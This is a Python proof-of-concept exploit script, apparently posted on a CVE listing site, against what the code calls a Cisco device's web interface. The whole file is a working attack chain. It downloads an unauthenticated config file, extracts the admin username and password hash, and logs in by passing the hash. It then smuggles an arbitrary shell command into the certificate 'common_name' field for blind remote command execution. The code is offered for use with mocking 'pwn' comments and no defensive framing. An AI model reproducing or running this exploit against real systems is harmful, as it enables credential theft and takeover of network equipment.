4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / easy_access.py PY
#!/usr/bin/python
# coding: utf-8
# includes pass the hash ;)
# basically we take the hash from the config we stole earlier
# and pass it without actually cracking it
import argparse
import requests
import sys
# nuke https warnings...
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# fucking regex
import re
import hashlib

def extract_auth_key(session, base_url):
    r = session.get(base_url, verify=False)
    auth_key = re.findall('"auth_key" value="(.*?)">', r.text)
    if len(auth_key):
        return auth_key[0]
    else:
        return None

def cisco_login(host, port, ssl, username, password):
    s = requests.Session()
    if ssl == True:
        base_url = "https://%s:%s/" %(host, port)
    else:
        base_url = "https://%s:%s/" %(host, port)
    login_url = "%scgi-bin/userLogin.cgi" %(base_url)
    print "{+} Sending request to %s to extract auth key..." %(base_url)
    auth_key = extract_auth_key(session=s, base_url=base_url)
    if auth_key != None:
        print "{*} Got auth_key value: %s" %(auth_key)
    else:
        print "{*} auth_key extraction failed. Using 1964300002 anyway"
        auth_key = "1964300002" # this seems to be a default on some?
    # now we do the login
    post_data = {"auth_key": auth_key,
                 "auth_server_pw": "Y2lzY28=",
                 "changelanguage": "",
                 "current_password": "",
                 "langName": "ENGLISH,Deutsch,Espanol,Francais,Italiano",
                 "LanguageList": "ENGLISH",
                 "login": "true",
                 "md5_old_pass": "",
                 "new_password": "",
                 "password": password,
                 "password_expired": 0,
                 "pdStrength": 0,
                 "portalname": "CommonPortal",
                 "re_new_password": "",
                 "submitStatus": 0,
                 "username": username} # this is batshit and it won't work without all these vars?!
    login = s.post(url=login_url, data=post_data, verify=False)
    if "URL=/default.htm" in login.text:
        print "{+} Login Successful, we can proceed!"
        return base_url, s # return the base url and session...
    else:
        sys.exit("{!} Login Failed, quitting time loser :(")

def pwn(base_url, session, command):
    print "{+} Ok, now to run your command: %s" %(command)
    print "{+} We don't get output so... Yeah. Shits blind."
    target_url = "%scertificate_handle2.htm?type=4" %(base_url)
    payload = "a'$(%s)'b" %(command)
    post_data = {"page": "self_generator.htm",
                 "totalRules": 1,
                 "OpenVPNRules": 30,
                 "submitStatus": 1,
                 "log_ch": 1,
                 "type": 4,
                 "Country": "A",
                 "state": "A",
                 "locality": "A",
                 "organization": "A",
                 "organization_unit": "A",
                 "email": "ab%40example.com",
                 "KeySize": 512,
                 "KeyLength": 1024,
                 "valid_days": 30,
                 "SelectSubject_c": 1,
                 "SelectSubject_s": 1,
                 "common_name": payload}
    r= session.post(url=target_url, data=post_data, verify=False)

def get_config(host, port, ssl):
    print "{+} Gonna go grab us a config file..."
    if ssl == True:
        url = "https://%s:%s/cgi-bin/config.exp" %(host, port)
    else:
        url = "http://%s:%s/cgi-bin/config.exp" %(host, port)
    try:
        print "{+} Sending request to %s" %(url)
        r = requests.get(url, verify=False)
    except Exception, e:
        sys.exit("{!} Exception while sending request, printing...\n%s" %(str(e)))
    if "sysconfig" in r.text:
        print "{*} We seem to have found a valid config!"
        return r.text
    else:
        sys.exit("{-} Config extraction failed. Quitting.")

def extract_creds(config):
    # Here we extract the USER and PASSWD lines to get the username and hash...
    print "{+} Extracting Creds..."
    username = re.findall('USERNAME=(.*?)\n', config)
    if len(username):
        username = username[0]
        print "{+} Got user: %s" %(username)
    else:
        sys.exit("{-} No user? What the fuck is this?")
    password = re.findall('PASSWD=(.*?)\n', config)
    if len(password):
        password = password[0]
        print "{+} Got password (hash): %s" %(password)
    else:
        sys.exit("{-} No password? What the fuck is this?")
    return username, password

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help="Target host", required=True)
    parser.add_argument('-s', '--ssl', action="store_true", default=True, help="Use SSL")
    parser.add_argument('-p', '--port', default="443", help="Target port")
    parser.add_argument('-c', '--command', default="id", help="Command. You get no output so... Do with it as you see fit.")
    # more args to come...
    args = parser.parse_args()
    # get our config and extract USER and PASSWD parts for pwning
    config = get_config(host=args.target, port=args.port, ssl=args.ssl)
    username, password = extract_creds(config=config)
    # do login stuff...
    base_url, session = cisco_login(host=args.target, port=args.port, ssl=args.ssl, username=username, password=password)
    # we now have a session object. We can move to the next phase of attack.
    pwn(base_url=base_url, session=session, command=args.command)

if __name__ == "__main__":
    main()